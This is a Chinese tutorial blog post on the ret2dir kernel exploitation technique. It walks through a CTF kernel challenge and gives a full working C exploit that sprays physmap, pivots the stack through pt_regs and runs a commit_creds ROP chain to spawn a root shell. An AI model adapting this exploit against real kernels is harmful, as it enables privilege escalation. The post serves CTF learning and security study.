kernel-pwn之ret2dir利用技巧

news2024/11/24 11:03:30

前言

ret2dir是2014年在USENIX发表的一篇论文,该论文提出针对ret2usr提出的SMEPSMAP等保护的绕过。全称为return-to-direct-mapped memory,返回直接映射的内存。论文地址:https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf

ret2dir

SMEPSMAP等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是ret2usr,如下图所示(图片来自论文)。首先是在内核中找到可以控制指针的漏洞,修改指针使其指向为用户空间,因此在用户空间布置恶意的数据或者代码,完成漏洞的利用。但是当SMEPSMAP保护的出现,在内核态下,不能够执行或者访问用户空间的代码或者数据,导致了该利用方式失效,因为即使在用户空间中部署了payload,在内核态下也无法访问。因此这种通过显示数据的共享方式已经不再适用了。

image-20230706112136937

所以作者提出了一种思路,能否在内核空间中也能够访问到用户空间的数据。作者最终找到了一段区域,可以隐式的访问用户空间的数据。在内核中存在这部分区域direct mapping of all physical memory,物理地址直接映射区。

image-20230706114017524

这个映射区其实就是内核空间会与物理地址空间进行线性的映射,我们可以在这段区域直接访问到物理地址对应的内容。

未命名文件

那么作者就提出了一种攻击场景,由于在虚地址中的内容最终都会映射到物理地址上,若能将用户空间的数据同样映射到这段区域上,岂不是就可以在内核空间也可以访问到用户空间的数据了。该段区域也被称之为phsymap,它是一段大的,连续的虚拟内存区域,它包含了部分或全部的物理内存的直接映射。下图这种情况作者也称之为是虚拟地址别名的情况,因为在用户空间与内核空间中都存在一个地址可以访问payload

未命名文件 (1)

最终作者构想的攻击场景如下图所示(图片来自论文),不同于ret2usr,指针不再被修改为指向用户空间,而是指向了物理地址的直接映射区,由于该映射区指向物理地址,而在用户空间构造的payload也会映射到物理地址,因此若能获得指向存在payload的用户空间对应的物理地址在phsymap位置,就能够直接执行用户空间的payload

image-20230706120102411

想要获得映射地址有以下方法

  • (1)通过读取/proc/pid/pagemap获取,该文件中存放了物理地址与虚拟地址的映射关系,可是该文件需要root权限才能读取。

    image-20230707154728342

  • (2)通过大量覆盖phsymap内存的方法,提高命中率。使用堆喷技术,在该内存区填充大量的payload这样既不会影响payload的执行,又能够提高命中payload的可能性,填充效果如下图

未命名文件 (3)

在旧版本的内核中phsymap是具有可执行权限的,因此可以在用户空间中填充shellcode,但是如今的内核版本phsymap已经不具备可执行权限了,因此只能在里面填充ROP

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

miniLCTF_2022-kgadget

题目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022

kgadget_ioctl

kgadget_ioctl中,当我们输入的操作码为0x1BF52时,会将rdx寄存器中的值进行解引用,并且以函数的方式调用该地址,这就导致了任意地址执行。

image-20230707163020808

run.sh

题目提供的run.sh开启了smepsmap的保护,但是没有开启地址随机化KASLR。因此虽然我们可以控制内核执行任意的地址,但是由于题目开启了smepsmap,因此该地址值不能选择为用户空间的地址。

#!/bin/sh
qemu-system-x86_64 \
	-m 256M \
	-cpu kvm64,+smep,+smap \
	-smp cores=2,threads=2 \
	-kernel bzImage \
	-initrd ./rootfs.cpio.gz \
	-nographic \
	-monitor /dev/null \
	-snapshot \
	-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
	-no-reboot \
	-s

ret2dir利用流程

首先是如何执行我们指定的地址值的,可以看到实际是将我们传入的地址,解引用后存放到rbx寄存器,结果通过将rbx寄存器的值移动到栈顶,从而修改栈顶的值,接着调用ret指令,使得执行被解引用的值。

image-20230707165636315

想要使得内核提权,需要执行commit(prepare_kernel_cred(0),接着通过swapgsret指令的组合。因此需要找到一段内存,将该流程的ROP链填充进去。这是因为kgadget_ioctl并不是执行我们传入进去的地址,而是需要将该地址先解引用后再执行,相当于需要执行传入地址对应的内容。因此若我们直接将commit函数的地址传入进去,它会执行commit函数指向的内容。

那么这段区域需要选取在哪里,若我们直接再用户空间中构造这段payload,接着将用户空间地址传递给ioctl是不可行的,因为内核开启了smapsmep的保护,因此对用户空间的访问都是不被允许的。

因此需要用到ret2dir的技巧,由于用户空间的虚拟地址同样会映射到物理地址,而在内核空间存在一段内存被称之为phsymap,它存放着物理地址的内容,因此我们在用户空间填充的内容,可以在phsymap找到。但是这段内存十分庞大,有64TB的大小,我们怎么才能确保搜索到存放我们payload的地址呢?答案就是尽可能的填充,使得我们用户空间的payload尽可能的大,那么我们搜索到的几率也会增大。

image-20230706114017524

我们以页(4096)为单位开辟内存,并且循环了0x4000次,

void copy_dir()
{
	char *payload;
	payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	for (int i = 0; i < 4096; i++)
		payload[i] = 'z';
}
...
int main()
{
    ...
    for(int i = 0; i < 0x4000; i++)
		copy_dir();
}

可以发现,在用户空间写入的z值,我们在内核空间同样可以访问到。当然写入的次数以及字节数是可以自己人为调整的,可以频繁尝试,尽可能的大的填充,这样我们找到的几率也更大。

image-20230707171617202

当然有时候页的大小页不一定是4096,因此可以使用getconf PAGESIZE获得页的大小

image-20230707171839966

因此我们已经找到能够访问到用户空间payload的内核地址值,接着需要将内核栈的空间迁移到phsymap上,这是因为用原来的内核栈无法使得连续gadget之间的调用。这里修改为测试gadget,用于测试不做栈迁移会发生什么。

	unsigned long *payload;
	payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret;
	payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;

可以看到执行一次pop rdi; ret,这是因为ret指令会将当前栈顶的值弹出栈,而我们输入的值不再栈上,而是在phsymap上。因此当我们输入的ROP链不再栈上时,就需要使用栈迁移。

image-20230707173324894

由于内核中存在着需要改变rsp寄存器的gadget,只要使用add rsp, xxx; ret即可完成栈迁移。因此需要在栈上填入phsymap的地址,使得经过add rsp, xxx后能够使得rsp指向phsymap。为了使得栈上能够存储phsymap的地址,这里需要借助一个结构体pt_regs

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

可以看到这个结构体存放了一系列的寄存器,这是因为在进行系统调用时,会完成从用户态到内核态的切换,因此需要保存用户态时的上下文寄存器,而这些寄存器的值都需要保存在pt_regs中。使用下述代码测试上述pt_regs结构体存放的位置。

	target =  0xffff888000000000 + 0x6000000;
	__asm(
		".intel_syntax noprefix;"
		"mov r15, 0x15151515;"
		"mov r14, 0x14141414;"
		"mov r13, 0x13131313;"
		"mov r12, 0x12121212;"
		"mov r11, 0x11111111;"
		"mov r10, 0x10101010;"
		"mov r9,  0x99999999;"
		"mov r8,  0x88888888;"
		"mov rax, 0x10;"
		"mov rcx, 0xcccccccc;"
		"mov rdx, target;"
		"mov rsi, 0x1BF52;"
		"mov rdi, fd;"
		"syscall;"
		".att_syntax;"
	);

可以看到我们在执行系统调用之前的参数,都会以pt_regs结构体中的顺序进行存放,这里需要注意的是r11寄存器用来存放了rflags的值。

image-20230708013246949

不过出题者在会对pt_regs结构体中的部分寄存器的值进行修改。

image-20230708013612568

最后只剩下r8r9寄存器是可控的。但是只是用两个寄存器的值就足于完成栈迁移的操作了。

image-20230708013703427

这里可以计算一下栈顶到r9寄存器的距离0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8,因此找到add rsp 0xc0的寄存器即可,因为ret指令还会进行一次弹栈操作。这里一开始是使用extract-image.sh进行提取,但是会报错。因此改用vmlinux-to-elf,这个工具提取出的符号比较全。工具的地址为https://github.com/marin-m/vmlinux-to-elf

image-20230708014733241

提取出来就可以愉快的获取gadget。由于没找到add 0xc8gadget,因此找了个平替的。再结合pop rsp; ret 指令即可完成栈迁移的操作。

add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
pop rsp; ret;

接着需要考虑堆喷的填充大量内存,因为题目没有开启地址随机化,因此即使不使用堆喷,也能够定位到具体的地址,但是实际情况是该地址可以随机,因此需要确保落入到其他地址也能完成利用。由于第一条指令必须是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;,因为需要进行栈迁移。因此在一页的内存中,因使用尽量多的该指令进行填充,确保栈迁移的正常执行。

由于完成提权的payload需要0x58的大小,而该指令会将rsp抬高0xc0,因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd,因此这里循环复制该指令0x1dd次,接着将剩余空间使用ret指令(常用的堆喷的指令)填充(这里使用了xor esi , esi; ret,因为异或操作不影响。)

for (int i = 0; i < 0x1dd; i++)
	payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
for (int i = 0; i < 24; i++)
	payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;

最后是在提权时没找到合适gadgetprepare_kernel_cred的返回值即rax寄存器的值,移动到rdi寄存器中。因此学了下出题者的wp,发现出题者使用了init_cred结构体作为commit_creds函数的参数。

init_cred 是 Linux 内核中的一个结构体,用于表示进程的初始凭证。它包含了与进程相关的安全属性和权限信息。,init_cred 结构体通常用于表示初始的 root 凭证。因此只需要借助一个pop rdi;retgadget加上init_cred结构体的地址就可以完成root凭证的初始化了。

exp

最后完整的exp如下

#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>

#define COLOR_NONE "\033[0m" //表示清除前面设置的格式
#define RED "\033[1;31;40m" //40表示背景色为黑色, 1 表示高亮
#define BLUE "\033[1;34;40m"
#define GREEN "\033[1;32;40m"
#define YELLOW "\033[1;33;40m"

/*

0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
0xffffffff810c92e0: T commit_creds
0xffffffff810c9540: T prepare_kernel_cred
0xffffffff81224afc: xor esi, esi; ret;
0xffffffff8108c6f0: pop rdi; ret;
0xffffffff82a6b700 D init_cred;
0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode
0xffffffff811483d0: pop rsp; ret;
*/
int fd;
unsigned long user_ss, user_cs, user_sp, user_rflags;	
unsigned long target;
unsigned long target1;

void save_state();
void copy_dir();
void back_door();

void back_door()
{
	printf(RED"getshell");
	system("/bin/sh");
}

void copy_dir()
{

	unsigned long *payload;
	unsigned int index = 0;
	payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);																																																																																			
	for (int i = 0; i < 0x1dd; i++)
		payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
	for (int i = 0; i < 24; i++)
		payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
	payload[index++] = 0xffffffff8108c6f0; // pop rdi ret
	payload[index++] = 0xffffffff82a6b700; //init_cred
	payload[index++] = 0xffffffff810c92e0; //commit_creds
	payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)back_door;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	
}

void save_state()
{
	__asm(
		".intel_syntax noprefix;"
		"mov user_ss, ss;"
		"mov user_cs, cs;"
		"mov user_sp, rsp;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	printf(RED"[*]save state\n");
	printf(BLUE"[+]user_ss:0x%lx\n", user_ss);
	printf(BLUE"[+]user_cs:0x%lx\n", user_cs);
	printf(BLUE"[+]user_cs:0x%lx\n", user_sp);
	printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags);
	printf(RED"[*]save finish\n");
}

int main()
{
	save_state();	
	fd = open("/dev/kgadget", O_RDWR);
	/*
	for(int i = 0; i < 0x4000; i++)
		copy_dir();
	*/
	
	target =  0xffff888000000000 + 0x6000000;
	__asm(
		".intel_syntax noprefix;"
		"mov r15, 0x15151515;"
		"mov r14, 0x14141414;"
		"mov r13, 0x13131313;"
		"mov r12, 0x12121212;"
		"mov r11, 0x11111111;"
		"mov r10, 0x10101010;"
		"mov r9,  0xffffffff811483d0;"
		"mov r8,  target;"
		"mov rax, 0x10;"
		"mov rcx, 0xcccccccc;"
		"mov rdx, target;"
		"mov rsi, 0x1BF52;"
		"mov rdi, fd;"
		"syscall;"
		".att_syntax;"
	);
		
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/785610.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何在电脑上查看连接过的wifi信息?

忘记wifi密码&#xff1f;想要看看wifi信息&#xff1f; 我想这篇文章可以帮到你O(∩_∩)O哈哈~。 通过网络连接中心查看 电脑上找到“网络和共享中心” 点击连接的wifi名称 点击无线属性 在安全选项中就有密码 通过电脑命令行工具查看推荐 通过winr快捷键打开电脑运…

vue echarts实现月度年度可切换,自适应的柱状统计图功能

echarts配置文档参考&#xff1a;Documentation - Apache ECharts 功能&#xff1a;可进行月度、年度切换显示相应的收入和支出柱状图数据&#xff1b; 这里进行了柱状图的简化配置&#xff0c;X轴Y轴都有所改写&#xff0c;具体的简化配置下文会贴出代码&#xff0c;参照功能开…

LiveGBS流媒体平台GB/T28181功能-支持轮巡播放分屏轮巡值守播放监控视频轮播大屏轮询播放

LiveGBS支持轮巡播放分屏轮巡值守播放监控视频轮播大屏轮询播放 1、背景2、分屏展示3、选择轮播通道4、配置轮播间隔(秒)5、点击开始轮播6、轮播停止及全屏7、搭建GB28181视频直播平台 1、背景 视频监控项目使用过程中&#xff0c;有时需要大屏值守&#xff0c;值守的时候多分…

(学习笔记-IP)Ping的工作原理

Ping是基于ICMP协议工作的&#xff0c;ICMP报文封装在IP包里面&#xff0c;它工作在网络层&#xff0c;是IP协议的助手。 ICMP包头的类型字段&#xff0c;大致可分为两大类&#xff1a; 一类是用于诊断的查询消息&#xff0c;也就是查询报文类型一类是通知出错原因的错误消息&…

PDF添加水印以及防止被删除、防止编辑与打印

方法记录如下&#xff1a; 1、添加水印&#xff1b; 2、打印输出成一个新的pdf&#xff1b; 3、将pdf页面输出成一张张的图片&#xff1a;&#xff08;福昕pdf操作步骤如下&#xff09; 4、将图片组装成一个新的pdf&#xff1a;&#xff08;福昕pdf操作步骤如下&#xff09;…

C# 使用opencv从图片识别人脸示例

1.用chatgpt帮我写了一个示例 using System; using Emgu.CV; using Emgu.CV.CvEnum; using Emgu.CV.Structure;class Program {static void Main(string[] args){// 加载人脸分类器CascadeClassifier faceCascade new CascadeClassifier("haarcascade_frontalface_defau…

Kafka基础架构与核心概念

Kafka简介 Kafka是由Apache软件基金会开发的一个开源流处理平台&#xff0c;由Scala和Java编写。Kafka是一种高吞吐量的分布式发布订阅消息系统&#xff0c;它可以处理消费者在网站中的所有动作流数据。架构特点是分区、多副本、多生产者、多订阅者&#xff0c;性能特点主要是…

测试人必看:五大维度解读软件测试分类

软件测试方法种类繁多&#xff0c;记忆起来也非常混乱&#xff0c; 如果把软件测试方法进行多个维度的分类, 就会清晰很多。 软件测试的分类-按开发阶段分类 单元测试 又称模块测试&#xff0c;针对软件设计中的最小单位-程序模块&#xff0c;进行正确性检查的测试工作。单元…

谷粒商城第五天-将项目改为基于若依框架实现、使用若依进行代码生成(生成MyBatisPlus风格)

目录 一、使用若依框架来搭建后台管理系统 1.1 前端部分 1.2 后端部分 1.2.1 将若依框架植入到项目中 1.2.2 完成数据库配置 二、使用若依框架的逆向生成工具逆向生成代码&#xff08;同时将代码风格改为MyBatisPlus&#xff09; 2.1 使用若依框架提供的逆向生成工具生成…

思科路由器交换机密码破解教程

1. 路由器密码的恢复. 2600、3600等新系列路由器步骤&#xff1a; 1、启动路由器&#xff0c;60秒内按下ctrlbreak键2、rommon>confreg 0x21423、rommon>reset4、router#copy startup-config running-config5、router(config)#no enable secrect //可以删除密码也可以更…

linux升级mysql

linux升级mysql 一.介绍二.下载三.文件配置1.查找删除mysql2.解压配置 四.修改配置五.初始化mysql服务六.启动mysql七.配置数据库七.测试 一.介绍 由于最近业务需要&#xff0c;不得不将之前的mysql5.7.26升级到mysql8.0加了 Linux安装mysql&#xff08;5.7.26&#xff09;&…

浅谈SSM框架理论相关知识_kaic

一、SSM框架简介 SSM框架是Spring MVC &#xff0c;Spring和Mybatis框架的整合&#xff0c;是标准的MVC模式&#xff0c;将整个系统划分为View层&#xff0c;Controller层&#xff0c;Service层&#xff0c;DAO层四层&#xff0c;使用Spring MVC负责请求的转发和视图管理&…

项目管理:甘特图制定项目计划,提高项目管理效率

项目实施周期长&#xff0c;工作范围广&#xff0c;不确定因素多&#xff0c;因此项目管理具有巨大的挑战性。 项目经理需要具备专业的知识能力和个人应变能力&#xff0c;以管理整个项目的实施过程&#xff0c;提高项目实施的成功率和管理效率。 现在&#xff0c;随着社会市…

opencv-16 图像去水印示例

常用的去水印方法&#xff1a; 克隆修复工具&#xff1a;使用图像处理软件&#xff08;如Photoshop&#xff09;中的克隆修复工具可以选择一个样本区域&#xff0c;然后将其复制到水印区域&#xff0c;以覆盖水印。这种方法在简单的水印上可能效果不错&#xff0c;但复杂的水印…

CMU 15-445 -- Concurrency Control Theory - 13

CMU 15-445 -- Concurrency Control Theory - 13 引言TransactionsStrawman/Simple SystemFormal DefinitionsAtomicityLoggingShadow Paging ConsistencyIsolationConflicting OperationsDependency Graphs&#xff08;依赖图&#xff09;VIEW SERIALIZABILITY(视图可串行化) …

配置SQL提示

问题描述 SpringBoot工程中&#xff1a;使用Select注入的时候没有提示 例如&#xff1a; 在正常情况下&#xff1a; 在没有配置SQL提示的时候&#xff1a; 原因分析&#xff1a; 没有进行SQL配置 解决方案&#xff1a; 选中Select注入中的SQL语句&#xff0c;使用IDEA中的快…

第二天 kali代理配置

文章目录 环境一、虚拟机网络模式&#xff08;1&#xff09;NAT&#xff08;2&#xff09;NAT模式&#xff08;3&#xff09;桥接模式&#xff08;4&#xff09;仅主机模式&#xff08;5&#xff09;总结 二、配置代理&#xff08;桥接模式&#xff09;1、基础设置2、虚拟机浏览…

GO语言安全工具开发方向探索

声明&#xff1a;文章所涉及的代码进攻参考和学习&#xff0c;文章中涉及的程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;读者将其信息做其他用途&#xff0c;由用户承担全部法律及连带责任&#xff0c;文章作者不承担任何法律及连带责任。 文章目录…

ubuntu环境安装centos7虚拟机网络主机不可达,ping不通

【NAT模式下解决】1.首先vi /etc/sysconfig/network-scripts/ifcfg-ens33检查ONBOOTyes&#xff0c;保存 2.输入systemctl restart network命令重启网关

数据结构【排序】

第七章 排序 一、排序 1.定义&#xff1a;将无序的数排好序 &#xff1b; 2.稳定性&#xff1a; Kᵢ和Kⱼ中&#xff0c;Kᵢ优先于Kⱼ那么在排序后的记录中仍然保持Kᵢ优先&#xff1b; 3.评价标准&#xff1a;执行时间和所需的辅助空间&#xff0c;其次是算法的稳定性&#xf…